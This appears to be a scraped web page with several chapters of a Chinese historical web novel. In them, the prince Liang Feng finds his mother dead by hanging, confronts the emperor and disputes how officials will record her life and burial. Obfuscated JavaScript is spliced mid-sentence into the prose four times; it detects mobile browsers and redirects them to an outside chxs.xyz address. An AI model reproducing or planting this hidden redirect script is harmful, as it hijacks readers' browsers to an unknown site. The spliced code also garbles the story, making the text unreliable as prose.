拨开重重黑发,露出里面浓浓的白发,母亲头发白得快,但发量多。梁风道:“这头发还能养一养,下回我带些养发的东西来。” “年纪到了,总会白头的。”母亲对镜抚抚头发,倒很宽心,“你从宫外带的东西能有宫里的好。” “怎么没有,您可别看不上,宫外的东西都好得很。”梁风留了后半句没说,宫里东西好归好,母亲不一定用得上。 邓氏掖被躺下,梁风拍拍被角,“睡吧。这次抗匈,军营里许多将领都因功升衔了,他们上来了能帮我分担事务,我有空就多来看您。” 他道:“我熟识的人都在京城,您也不用担心我有一天会离开这里。”现在外面就有等他一起出宫的敬先呢。 “底下将领升上来,你要怎么办?” 母亲问得很委婉,梁风不知道怎么答。底下将领升上来,当然是过不了多久就会取代他的位置了。他当初升上来,也是取代了崔固的位置。 “您放心吧,他们无论怎么升都比不过我的。”梁风宽慰自己。 母亲闭眼睡觉了,他放轻呼吸,房里的昏暗令烛火的晃动都变得刺眼起来。他吹熄所有蜡烛,轻手轻脚退出房间。 到了暖阁外面,一地月光干净庞大,他抬头看见树梢捧着的漂亮圆月,没什么赏月的心思,低头便走。 出宫路上,看见崔府的马车。 崔敬先听见声响探出脑袋,使劲地向他招手。梁风钻进马车里,敬先道:“再等等我爹,他被皇帝留下说话,还没出来。” “宫内宴会好虽好,但就热闹那么一瞬。这个时辰宫外可热闹了。”敬先兴致很高,问道:“你去找过我了?我也去王府找过你了,说你不在。” “对啊,你府里下人说你带孩子累着了。” 敬先一下子丧了脸,“有多累人,你知道么?” “不知道。”梁风摇头,他能咋知道。 “事儿太多!半夜老是哭醒,啥也不会!还要担心他被褥子蒙了脸,没留神憋死了。真是连掀个褥子都不会,他老子我给他做牛做马,屁事都得帮他干!他出生后我只睡过三回整觉,三回!” 敬先大吐苦水。梁风体会不到,建议:“你和你夫人一块带孩子啊,互相分担些。” “她也忙着,她白日里还要打理从娘家带过来的产业。”敬先连连摇头感叹:“日子一长就撑不住了,我爹娘都开始帮着我带孩子。这谁能想得到,生个孩子居然需要劳动全家,太难了。” 敬先颇为遗憾道:“我那小子的满月酒你没吃到。” 梁风不如何遗憾,“周岁酒能吃了。是个小子啊?” “对啊对啊,平平无奇一小子。”敬先拍拍梁风肩膀,“你要什么时候生啊?” 梁风被问住了,不知道。他感觉自己啥也不知道。 敬先啧啧地说:“麻烦归麻烦,那么小一个人,玩起来也有点意思,抓紧抓紧。” “你还催起来了。” 敬先嘻嘻地拍他肩膀,又探出脑袋去,“我爹还没出来啊?要不别等他了,我们先走吧,再晚点热闹都要过了。” “等等吧,你让你爹走路出宫啊?”梁风道。 敬先把脑袋缩回来,悄兮兮地问:“你说,皇帝要跟我爹说什么?” 梁风想了想,做出一副皇帝的样子来:“老崔啊,你想收服匈奴的夙愿终于有人替你完成了。” “对对对,我猜也是说这个。”敬先哈哈笑。 笑完,周围立刻寂静无人声。敬先神情一肃,低声问道:“谁想杀你啊?” 梁风摇头,“不肯定啊,谁都有可能啊。刚好在出征前,军营被人搅乱了。” 敬先皱皱眉头,梁风停顿稍许说:“也有我没把营里整顿好的原因在。” “肯定是要整的,但是急不来,慢慢搞。” 梁风看敬先,“你是希望我死抓着军营不放?” “那不然还能怎么?”敬先当然道。 “那也是啊。”梁风懒得想了。 继续等了一会,还是不见崔固出来,敬先没了耐心,催促车夫:“我们先走吧,就让我爹自己走路出宫,他可耐走了。” 马车刚刚驾起,不远处出现另一道急促的马蹄声,盖过了他们这边的声音。 “皇叔!” 梁风听见是与義的呼喊,停下车掀帘一看,与義驾马十分着急地赶来。 “七皇子殿下。”敬先看见便喊。 “皇叔。”与義惶急地看着他,张嘴迟钝道:“你母亲出事了。” “出什么事啊?”梁风下马车,不是睡下了,他才刚刚走开,就出事了? 与義急得不行,“你快去看看吧。” 与義拉住他就扯,梁风感觉不对,便向暖阁走去,敬先在后也跟着一起。 “我、”与義咬牙道:“我方才见到你母亲时......她吊在一根绳子上。” 梁风脚步刹住,瞪了与義一眼,下一刻身体已经飞到了暖阁门前。 屋里烛火很多,留了一个与義的丫鬟,还有丫鬟惶恐慌张的神情。 他停在内间门外,记得走时熄了烛火,重新亮起的烛光十分静谧。他一点一点走近,偷偷往里看了一眼,见床榻上躺着的正是他的母亲。 闭目熟睡,与他刚才离开前一模一样,只是被子掀开了。梁风抬脚走进去,怕打扰她。 睡着的神情与刚才一模一样,憔悴的眼周有了皱纹,未束的头发散在枕间,沐浴沾湿的鬓角都没干透,身上衣裳被揉乱了。梁风摸摸她的手臂,自然是热的。 他的视线定格在母亲脖子上的红痕,半个巴掌宽的勒痕,靠近咽喉的位置红得极深。 桌案上放着一条长长的寝布,并不是白绫。 “娘。”他轻唤,母亲没有反应。 他想红痕会很疼,替母亲摸摸去疼,颈部皮肤温热底下静静的。 手指弹回,梁风看向身后两个人,张了张嘴,红痕忽然变到了他的脖子上。 “太医!太医呢!”敬先替他大喊。 “已经去叫了。”与義看着道:“皇叔......” 梁风收手,捏住掌心的温热,缓缓退到内间门口,他想出去,但半个身子留在门内,余光始终提醒他注意床榻上的人。 “不可能。” “皇叔,你先冷静。”与義保持在他一步之内。 “不可能。” 梁风不敢看,脑子里回想就在刚刚走之前母亲和他说过的话,多平常的对话。 “不可能。” 太医来了,趴到榻边为母亲检查身体,探息把脉,两指掀开母亲双眼查看瞳孔。 眼皮被那两只手指撑开,梁风的眼睛也睁着没有眨动。 太医很快向梁风摇了摇头。 梁风一脚把太医踹翻,“你摇头是什么意思? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839890|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 太医爬起来,“王爷恕罪,邓八子气息已绝。” 梁风面颊抽搐,“我刚才还坐在这里,看着她睡着,我走时她是这副模样,她此刻也是这副模样,你和我说她气息已绝?” 太医伏低,“王爷,脖子勒痕不深,窒息时候并不算长,但她内里归去之心催死......” “归去?我就是她的家,她归哪里去?”梁风厉声打断,下令:“把她叫醒。” 太医不动,梁风怒极,一脚踹翻,大吼:“把她叫醒!” “皇叔。”与義抱住他。太医跪地捂着胸口喘气,站不起来。 这时门外一声高喊:“陛下驾到!” 皇帝来了。梁风瞪着门口,果然看见皇帝一张带着醉意的老脸,随着夏培搀扶走入,身后跟着崔固。 皇帝醺醺然跨步进来,看了看床上的人,无变动的脸色转向梁风。 这是听闻消息过来查看了。 “滚出去。”梁风双眼仿佛被太医那只手指撑开,盯着皇帝,“滚!” 垮塌的眼皮睁开,皇帝微露不愉,道:“阿风。” “滚!” 梁风抄起手边的东西扔过去,砸得皇帝不断后退,夏培大喊:“护驾护驾!” 崔敬先和梁与義抱住他,完全压不住。梁风不顾一切地砸,非要把这不人不鬼的东西砸出视线外。 “滚!” 皇帝退到了门外,忍无可忍道:“她是自尽,与朕何干?” 崔固提醒:“陛下,匈奴的人还在宫里。” 梁风眼中充血,眼珠子快要爆开,身体里一股股气血往脑袋上涌,他紧紧攥着胸口,早已结疤的伤产生剧烈疼痛,痛得他直不起腰。 “安排后事吧。”皇帝看了他一眼,拂袖离去。 一股鲜血从梁风嘴里喷出,梁风疼得神志不清。崔固手刀在他颈间一劈,想把他劈晕,可他现在脑袋充血,身体绷得很硬,晕不过去。 梁风一把挥开这些多事的手臂,回到母亲床边,静静看着,母亲睡着的模样能安抚他的疼痛。 “死亡是最自在的选择,她这是好了。”崔固道。 “你还想替她难过?”崔固道。 梁风扭头瞪着崔固,疼痛反而刺激清醒。崔固根本不懂。 她说不希望他离开京城,她说不要后悔离开那条巷子,他现在后悔了。 梁风挥开所有想靠近母亲的人,只留自己守着。 耳朵嗡嗡作响,反复回忆母亲最后和他说的话,此刻却想不清了,好像脑海深处有什么在阻止他回想。一出现母亲的面容,脑子里便出现尖锐的疼痛,清除了所有画面。 “王爷王爷。” 李晟的声音响起来,梁风微一侧目,看见老李焦急的脸。 老李低声和他说:“王爷,絮姑娘等着您和她一起过节呢。” 金絮的脸出现了,满满一张脸占据他全部脑海。 老李擦掉他嘴上的血,“她那儿有您的位置,她没法过来见您。” 梁风不动,一瞬不瞬地看着切实存在的老李,越疼痛越清醒。她那里没有他的位置,整个京城都没有他的位置。 梁风很想她,上一回想见她时,心脏也是这样疼痛,那时他快死了,这时死的不是他。 “去找她吧。”老李道。 梁风动不了,身体却缓缓放松了,被崔固打了一掌的脖子却疼起来,一瞬间抽动绞紧他的脑筋,眼前黑了。 意识忽紧忽松时,隐约听见李晟说了什么。 听见崔固答:“明日下葬吧。” 156. 《红叶书》(七六) 他想睁眼。 睁开眼睛,在箱子里看见灯笼,灯笼在窗口外面摇晃着掠走。 宫外确实很热闹。 不像未央宫,只随着皇帝的开心而热闹,随着皇帝的离开而消沉。 他躺在马车里颠颠晃晃,扒住车窗往外看,想母亲不知多久没见过宫外的景色了。 景色里有男男女女,有热情的微笑,有张开的怀抱。 “公子~” “公子~~” “梁风。” 金絮忽然在喊他。 马车不知何时停在了温柔馆,梁风看见金絮的身影,正站在街边沉默看着他。一眨眼后,金絮的背影跨过门槛,被馆内的烛光淹没。 梁风急急忙忙下车追她,追进温柔馆的烛光中。 在人群中一眼看见她,却见她不知为何跑去了一个男人怀里。 嘴边尝到了一点酒液,麻麻辣辣又冲鼻的味道迅速盖过了疼痛,他脑子清醒了。止疼的效果不知是金絮的身影带来的,还是嘴里这点酒。 梁风疯狂喝酒,一个劲往嘴里塞,凶猛地往嘴里塞,大口地往嘴里塞。 伴随耳边的诱哄笑声,梁风不知被灌了多少壶。 “她......” 他看不见金絮了,眼前一片模糊,身边的推搡突然消失,嘴边灌进来的酒水没有了,他的身侧空了。 “金絮......”他说不清话,感觉不到舌头,巴巴巴地问金絮在哪里。 脑子晕晕花花,眼中人事物混成一团,分不清边界。他找不到金絮,找不到她依偎在哪个男人怀里。 一只清晰的手进入他的视线,朝他伸来,想牵他。梁风抬头一看,这只手消失了。 金絮出现在不远处的楼梯脚下。 梁风起身追过去,金絮出现在楼梯中间,梁风上楼,楼梯软绵绵地晃荡,擦身而过的人总是撞到他。 梁风递出手去,“拉......我......” 脑子一晃,再睁眼,他靠在了别人的桌子旁边,身上衣服堆叠一团压住了,一下子没站起身来。 有人推了他一把,梁风一歪,倒把衣服理清了。他起身找金絮,见她还在楼梯上。 越往上走,越没人撞他了。金絮进入一个房间,梁风出掌把门打开,走两步,踩到刚才摔得解开的衣服,额头砸到了地板上。 “嗯?......”他模模糊糊坐起来,漆黑的房间中没有金絮。 “你......进来......” 唤人,没把人唤来。 手边是门外照在地板上的光线,他摸了摸地板,光线中多出了手部的阴影。 手掌影子旁边多出了一个人形阴影,梁风伸手,用影子在人形阴影的脑袋上摸了摸,他脑袋痛。 梁风抬头,看见金絮站在门下。 他朝她伸出手,说话,巴巴巴地出声,金絮的脸忽然凑近了,手心里有了东西。梁风拽着她的衣服,怕她下一刻又不知去了哪里。 “她喜欢皇宫......”他说:“她多年没见过宫外景色......她喜欢......宫......” 金絮说什么,他听不清,他拉近她的头,怕她也听不清自己说话。 “我让你不要复仇......” 屋角黑暗中忽然出现上吊的身影,他看见隐隐约约吐出的舌头、翻白的眼睛、无力呐喊的脸。她吊着的时候后悔了吗,他就在不远处,什么也没听到。 梁风看着虚空中模糊的吊影,喃喃念:“我让你不要复仇......” 他突然变得凶狠,“我若是心狠,你就死在了那场火里......” “我知道。” 梁风大哭起来,紧紧抱着怀里的手臂。 眼泪滴在衣服上的声音在房内回荡,金絮沉默地听着,听着喉咙被酒液烧灼的沙哑,和撕心裂肺的不甘。 直到梁风靠在她身上睡着,半是睡着,半是醉倒,她被泪水浸湿的手掌才松开。 门下光面中多了一道身影,丽姬走来,看着地上坐着的两人,在梁风头脚转了一圈,道: “这是先死了自己,后死了娘?” 金絮仰头看着她,什么也不说,直着身子靠稳梁风。 丽姬不为眼泪所动,取了门眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839891|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁的火折子点蜡烛。 “宫里有宴,我还以为他今夜不会出宫。”金絮道。 丽姬继续点蜡烛。 “为什么是今天。”金絮问。 “命吧。” 丽姬点完蜡烛返回来,看见金絮沉默着,她竖起一根手指,道:“我说,别可怜,犯不着可怜,天底下无父无母的人多了去了,我都没有呢,你可怜不过来。” 金絮不说话,但有些责怪地看着丽姬。丽姬一哼,环膝抱住梁风双腿,金絮则托颈背,两人合力将梁风抱起来。 “真沉啊,死沉死沉的,你确定他还活着吗?” 金絮抱都抱不动,丽姬只能改搂住梁风的腰臀,任他双腿在地面拖,这才费大力将梁风抱到床上。 丽姬喘口气,把梁风的腿扔上去,“等他醒了,也得伺候伺候老娘。” 金絮也喘气,卸了梁风头冠,调整一下枕头,再拆了他的腰带,松开外衣前襟,探手进他衣服里面。 “我也摸摸。”丽姬在他腰腹摸了一遍,手指戳戳他的身体,嘟哝:“果然男人的身体分两种,行伍出身的,和不是行伍出身的。” 金絮摸到了他胸口的伤疤,浅浅凸起的一条,半个巴掌长。她问:“为什么这样的身体都会被刺穿,该被刺穿的难道不是靠着民脂民膏养得满身肥油的人吗?” 丽姬手指在梁风肚子上跳舞,看看自己的指尖,不以为然,“他可是个诸侯王,不也是个被民脂民膏养着的人吗?只不过没那么胖。” 金絮收了手,巾架前洗了一块手巾,丽姬见状起身,改坐旁边案榻。 金絮给他擦脸、擦手、脱鞋,然后盖好被子,坐在他旁边看着,看他脸上有酒液上脸的通红。 “我要活得怎样,才能符合谁的期待?” 听见这话,丽姬手指自己,理所当然道:“我啊。” 金絮转头看她,看得到张扬的一笑。 “他让我不要复仇。” “你听他的?” 金絮复看着梁风的红脸,每一道呼吸都有酒气散开,喃喃道:“不想干了。” “随你哦。”丽姬无所谓。 157. 史书一笔 他一睁眼就坐起来,头痛得要炸开。 陌生的房间,没有熟悉的人。梁风用力睁眼,脑子迟迟反应不来。 模模糊糊穿鞋,看见床边的夜壶,他撒了泡尿从窗户跑了出去。 跳到屋顶上才想起来这里是温柔馆,他回头看,庭院廊下看不见人,整个馆陷在一片入睡的静谧中。 梁风回府。午前的风一吹,日头下的景色相当清晰,隔着两三重屋脊看见挂着白幡的安分王府。 他跳入府中,甫落地,看见殿内一个大奠字,和奠字下静停的灵柩。 梁风知道母亲的确是死了。 后事在王府办。棺材旁的李晟一宿未睡,连夜操办,代替梁风守了第一夜。 梁风走进去,手掌轻抚棺材,冰凉死寂的木头没有任何回应给他 他沿棺身顺抚下去,走两步停住,道:“大了。” 老李没有回答他,仿佛在停灵室内活人得不到任何回应。 走了一条不适合她的路,连死后的棺椁都不合身。梁风不明白,“为什么?她想要的一切都没有得到,为什么?” 老李回答他这个活人:“已经得到了。她知道,只要离开你,就能把得到的一切牢牢抓在手里。” “我连她的命都抓不住,我能抓住什么?”梁风想哭,根本的悔过是他没法完成她的期待,所以她失望了。 “我要进宫。”他道。 李晟起先没说话,片刻才道:“宫里恐怕正闹着,昨夜出事时,前匈奴可汗没走,知道了这件事......” “我要进宫。” 老李叹气:“洗漱吧,沐浴更衣再进宫。” 梁风换了丧服,脸也不洗就进宫了。 他有刚刚荣获功劳的将军令牌,还有恒帝梦中亲授的安分称号,守门宫人并未阻拦,顺利进宫。但是仍无法携带兵器。如果昨夜佩了刀,皇帝已经死了。 直到皇帝寝殿外面,遭到了夏培的阻拦。 “陛下昨夜饮酒过量,今早醒来头痛非常,尚在就寝,早朝都免了......” “把他给我叫醒。” 夏培尴尬地看着他,梁风道:“你不叫,本王亲自叫醒他。” 夏培便要进去,开门的瞬间,梁风一脚把门踹开,夏公公发出一声嘹亮的惊恐声音。 梁风直入内殿,看见斜椅在案榻软被之上的皇帝,穿的并不是寝衣。 皇帝宿醉后的目光向他重重看来,“放肆。” “我没有哪一刻这样厌恶你。”梁风对皇帝居高临下,目眦欲裂,“是你逼死了她!” “对于你母亲的死,朕也很遗憾。” “遗憾?你昨夜还说‘与朕何干’?”梁风握紧拳头,很想打出去。 夏培护着皇帝在身后,喊道:“退下!” 梁风一把掐住夏培的脖子,往旁甩开。然而一甩居然没甩动,这个没根的东西竟扒着床榻死死守在皇帝面前。 “来人,来人啊!”皇帝大喊,连连向后爬退,“她若是被朕逼死,为何会等到现在?为何等到你军功加身,得先帝亲授封号才死?你想明白没有!” 掌心掐力加大,夏培被掐得直翻白眼,梁风盯着皇帝,盯着皇帝一张丑陋的嘴,不断用力,想把这张嘴捏碎。 一片飞刀从暗处急速射来,梁风后倾侧身一躲,掌心松开了。近身侍卫破窗门而入,接二连三,四五人护皇帝,五六人压制梁风。 梁风逐渐被刀剑拳脚逼退,看着不断远离的皇帝,还想不顾一切扑上去,阻拦的剑尖却擦脸挡住他的咽喉。 难怪路上没有受阻,护卫都在皇帝身边备着。 皇帝站起身,试图恢复帝王威严,“你想如何?” “追封。” “封什么?” “富媪夫人。” 皇帝不可思议。梁风看清皇帝眼里的不屑,再次起火,突破刀剑前扑,剑刃割破了他的手臂。 然而宿醉后身体迟钝,前扑的动作慢了一步,三四人转瞬压住他,梁风仰面砸到地板,双刀相交于他的脖子之上,血气漫于寝宫。 《礼乐志》说:后土富媪,昭明三光。是地神,是称赞海内安定的功劳。他在一次收兵回营途中,偶然听人说起。梁风趴在地上,坚持道:“你要在史书里,表彰她的功绩。” “荒谬!何来的功绩?功绩难道在于把你养了出来?”皇帝气极,手指着他道:“你母亲是早有准备,特意选在了这一天。我朝将军之母于中秋宴时自尽,你当那群匈奴人怎么想?” 梁风的脸贴着冰凉的地板,这是皇帝每日或许光脚走来走去的地方,他想吐。 将军之母在佳节自尽,除了是被人逼得,又怎会死得如此难看。谁能逼刚刚夺取抗匈胜利的大将军,只有皇帝。匈奴人不会甘心服于这样一个内乱的大周朝。 还可能疑心梁风是否会生反心,匈奴人哪怕表面降服,背地里或许会暗暗谋划再反,等待梁风不再归顺于大周朝的时候。 胸膛被压迫,梁风咳气,半咳半吐。 皇帝见他镇定下来,挥挥手,压制他的护卫撤到一旁。 梁风撑地爬起,道:“匈奴人还没走,我能把他们抓进来,我就能把他们放走,有本事你也把我逼死。” “你是想先把朕逼死!”皇帝怒道。 梁风对皇帝的怒火无动于衷,不止匈奴人,还有那群匪兵,如果皇帝胆子大,那他也有胆子怎么抓来的就怎么放走。 皇帝面色在怒后却有松动,深思熟虑于眼中过尽,袖下手掌收敛,狠狠深呼吸。 “给你母亲追封不是不可,但要镇住那群匈奴,对外说你母亲自尽的缘由恐怕不如你意。至于如何追封,待匈奴人离开中原还可再商量。” 梁风嗤笑,“这种说法,镇的是我,还是匈奴。” 他越想越后悔,宴会上看她看得太少,看前匈奴可汗却看得太多。 他道:“镇住匈奴最好的办法就是当着他们的面,给打败他们的人最高的荣誉,让他们知道,我的声名和荣誉是踩在他们脸上获得的。” 梁风一步不退,直视皇帝眼中逐渐燎原的怒火。 皇帝从气极变到不可思议。白眼翻回来的夏培战战兢兢,匍匐在皇帝脚边瑟瑟发抖。 皇帝忍无可忍地拂袖,“对外称病,寻常死亡,敛葬从简!至于你母亲的封号,朕要与九卿和游照同商议过后再做决定。满意了吧?” 大袖拂来一身过夜的酒气,梁风也不知闻的是自己的,还是别人的,只觉得头更晕了,晕得眼花,简直快看见那副睡着模样的母亲就站在自己身旁,和他一起向外对敌。 “‘富媪’的封号绝对不可能,但可求其次,封个‘昭灵’。”皇帝继续妥协。 身旁的母亲消失了,他扭头离开,不再看皇帝。 殿外微风虑去胸膛里恶心的地板气味,听着身后皇帝愤怒拍桌和夏培惊恐的声音,梁风脚底忽轻忽重地离开月台。 下阶梯时余光似乎瞥见一个熟人,好像是冯棹台,可他头晕脑重,抬不起一眼,只管出宫。 到宫外,他与路上行人擦肩而过,跳回了温柔馆。 残留醉意之下控不住力度,踩碎了温柔馆屋顶好几块瓦片。他找到刚才跳出来的窗户,钻了进去。 房内摆置似乎与他离开时没有区别,梁风忍着头痛再走两步,一头倒在床上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梁风大喊:“我愿意被管着,只要她不死。” 语气是在跟她耍赖了,金絮重复:“吃饭。” 梁风不听,默默地哭,可是眼睛已经干掉了。 金絮也不说话了。她看向梁风飞进飞出的窗户,看向回忆中遥远的火灾,从未磨灭的悔恨再次席卷,她低下头,却注意到梁风泪水混乱的眼睛,眼泪搅乱悔恨,无声的叹气呼出。 “人要向前看。”她道。 “我该怎么办?” “你该怎么办,取决于你还愿不愿意受着委屈。” 他不愿意受委屈,“我为她求了个封号。” “只是封号就够了?”金絮眨眨眼,低头道:“这没我预想中的坏,匈奴尚未离开中原,我以为朝廷为控制舆论风气,会对外宣称你母亲是有过错的,是负罪死亡,撇清你和你母亲的关系,把你母亲的死归到畏罪自尽的名头上去,让这件事情变得合理。她的死不能影响到大周朝和你的公正,暗中还能压低你的气焰。至于是什么罪,人已经死了,还不是由活着的人随意胡诌。” 梁风抿嘴,睁着干巴巴的眼睛看她,却看见她监视一样的双眼。 “虽然没有这么坏,但现在这样就让你满意吗?她以死换得你一隅,你为她不平,你要造反吗?你要掀翻皇帝吗?” 梁风爬起来,扯了她一把,将她往门外推。 金絮看了一眼乱糟糟的床榻,还有一床亮晶晶的鼻涕,被他两三把推出了门外。 梁风啪地关上门。 158. 圣宠 梁风半深半浅又睡一觉,醒来房里漆黑,入夜了。 他爬起来,见桌上有饭菜,他端碗吃饭,吃到碗底下还是温热的。吃完放下碗筷,翻窗回到王府。 府里白烛照夜,其他人都睡了,李晟还没睡。 老李说:“王爷,别再走了。” 梁风点点头,在母亲灵柩旁蹲下守着。 子夜后,李晟去睡了,留他一个人。 周围很静,静到能够突显逝去之人的声音,梁风靠着棺椁,听夜风中会不会有人对他诉说不舍。 窗户有月光照进来,月光很惆怅。 他想起从前很少去感受月亮怎样、惆怅怎样,想到母亲在宫里应当常常对月思念他,而他却从来不曾对月回应母亲的思念。 惆怅愈浓,他不敢再看月亮,任由月光在室内占据自己的领地。 一夜很清醒。天亮了,他为灵堂更换蜡烛,洗了澡,和老李吃了饭,合伙操办接下来几日内容,商定后日下葬。 其余事情可以由老李操持,但是葬址必须梁风决定。昨日就有九卿的人来商讨过葬址与葬仪,但梁风不在,今日就由他去找九卿的人。 葬在京城还是葬在燕国,葬在京城的话能不能葬入皇陵。以母亲生前的位份,先帝后妃八子之位,是无法葬入皇陵的,他想争取一下,皇陵肯定是比葬在野地和那么远的燕国要好。 进宫找太常府,一进去,他就发现身边多出了一个史官,腰戴墨盒,默不作声地低头记录。梁风看了一眼便不多管。 太常卿听了他的想法,有些犹豫,暂未表态,和一众官员商议片刻。 因去世的是诸侯王的母亲,且死的地方是京城,不是藩地,这在大周历史上从未有过,太常府无法徇旧例,必要讨论出新的葬仪仪式。 梁风也清楚,耐心等着。 还没等出结果,相府的人来了,那个姓卢的司直。 新仪式的大小规模和花费需要经过相府同意,相府在这当中无法忽略。卢司直站一边沉默旁听,没有商及相府许可之外的内容,不会发表意见。 梁风懒得理旁人,周边静下来,他就觉得心痛,脑袋嗡嗡作响。 痛得愈重,太常卿那边终于商议结束,向他一揖,道:“安分王殿下,您母亲要葬入皇陵,是可办的,可以恒帝殉葬者的名义下葬。” 从心痛中抽离,或许是前夜哭得眼睛酸,梁风没自觉皱了一下眉毛。 太常卿额头微微冒汗,赶忙道:“因不能突然为恒帝加增殉葬人,必须要有个由头,最好的办法是托先帝的名义,比如恒帝向陛下入梦,哀哀说虽子孙兴盛却终究孤独冷寂、少人相伴,于是陛下孝心大恸,宣告上苍,为恒帝加增殉葬人。” 梁风不满意,连连摇头,“我母亲不能是陪葬品,难道不能仅以我母亲的名义下葬吗?陛下已经同意为我母亲赐封,‘昭灵夫人’的名义不配皇陵吗?” 太常卿额头的汗滑下,笑脸道:“安分王殿下,先祖们的殉葬人是跟随先祖永登极乐,是大享福之事,并不是陪葬品,不能称‘品’。” “不许笑。”梁风看这笑脸真是刺眼。 那一点不真切的笑容迅速消失,太常卿忙补道:“‘昭灵夫人’是足配皇陵的,但这需陛下首肯,且您母亲生平事迹需修饰优化一翻。” “优化?” 太常卿向旁边静默到仿佛消失的史官看了一眼,史官会意,翻着手里的卷子道:“安分王殿下,您母亲六岁进宫,起初是浣衣局一名小婢,因当时浣衣局女官曾是女红大家,而您母亲悟性极高,跟着她学了一手极其出色的绣艺。后凭借这一手绣艺进入绣衣局,为百官朝服刺绣。十二岁被文华皇后相中,收入宫中,因而识字。” 梁风听着皱起眉毛,史官浑没注意到,只顾低头念自己的:“您母亲十九岁时,在文华皇后荐下初得恒帝青眼,怀上龙种。但您母亲自知身份低微,不敢逾越,在您出生后不愿受封,始终保持着八子的位份,甘愿耗尽毕生所学只为陛下养育绣娘。您母亲端庄谦卑,学艺方面的悟性与海阔的胸襟都传承到了您身上,因此您于军事武艺一道造诣颇高,还兼有谦虚容人一性。” 梁风越听越像是在听别人的故事,问道:“文华皇后是谁?”上一代宫里的人他基本都不认识。 “恒帝的第一任皇后。”史官恭敬地说,一抬头终于注意到了梁风的脸色。 梁风很不满,他母亲起初是洗脚婢,在怀上他之前都是洗脚婢,没有进过文华皇后宫中,她的女红一技更是不太优越。 而她的位份,梁风虽然从前没有问过她,但是不用问也知道,如果有能够提升位份的机会,她绝对不会甘于八子。 仅仅是无才无德不能葬入皇陵,更不配享“昭灵夫人”的封号,便要写她进入皇后宫中,为了让她有个习来才德的由头。 梁风隐隐有些怒气,人一死,生前什么面貌便全由活着的人随意揉捏了,像一团泥,想捏成什么样子就捏成什么样子。生前任人拿捏,死后还要任人拿捏。他很不喜欢,哪怕是往好了捏的。 梁风正要开口驳回,一打眼,看见史官攥着的卷子上面有一个出现很多的字,他读了两行,指着那个字道:“这是什么?我母亲不叫这个名字。” 史官顺指看去,自然道:“王爷,‘缝’字不宜,改为‘奉’字更好。‘奉’字更匹配您母亲的身世,也暗含她用一生对您的教养。” “这样写都不是她了!”梁风气而打掉史官的卷子,指着道:“给我改回来!她叫缝!邓缝!” 梁风看着太长卿,宣告道:“我要史书如实写,也要葬入皇陵,你们看着办!” 他气而起身离去,刚走两步,卢司直拦在他面前。 “安分王殿下留步,容臣说两句。”姓卢的笑得不明显,但脸上有盈盈的感觉,悠然道:“您还记得您母亲是如何怀上龙种的吗?” 梁风心底顿时厌烦,猜到这姓卢的要说什么。 “您还记得您母亲是在恒帝一次醉后将龙种偷来的吗?您知道为何您出生后整个朝堂对您不闻不问吗?这样的事情您也愿意写入史书之中?” “写!这又怎样?我不在乎,我母亲也不在乎,史书就该记录她的真实事迹,写她最真实的样子,无论后人如何评说。”梁风怒道:“史书的意义,卢司直不明白?想必你该去请教请教游照同了。” “哦。”姓卢的一脸了然,“请教是应该,不过臣还有一问。那史书中是否也要写安分王殿下仗着军功,强行闯入陛下寝宫,以刀剑拳脚逼得陛下为一个无才无德无功绩的女人赐了个‘昭灵夫人’的封号?” “写!” 悠然的语气包裹恶心的话语,梁风真想一拳打过去,打得这张嘴给他闭上,他又没有用刀剑拳脚逼皇帝。 但他忍住了,他没打,只是扭头离去。 得到后人优美的评说当然好,甚至不用等到后世,在此世她就可以得到世人的夸赞。可是人都不在了,还不能求来一些真实吗,他不能保证母亲在不在意史书如何记述,但他想为母亲争取一些实在的东西,不是那些哄骗她的东西。 “安分王殿下,安分王殿下!” 还没走出太常府,身后有人追他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839893|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而来。梁风停下回头,追上来的人是史官。 史官喘着气道:“安分王殿下,您慢些,臣还有一问。” 梁风不耐,摆着脸色耐性子,“你问。” “按您母亲身边的宫女说,您母亲说过在您小时候恒帝曾经抱过您一炷香之久,此事当真?”史官展卷埋眼,摇头自念道:“这一事是史书中不曾记载过的。” 刚才不耐的情绪顷刻消失,梁风说不出话了,遥远的记忆早就消失。 等了很久没回应,史官抬头看他。 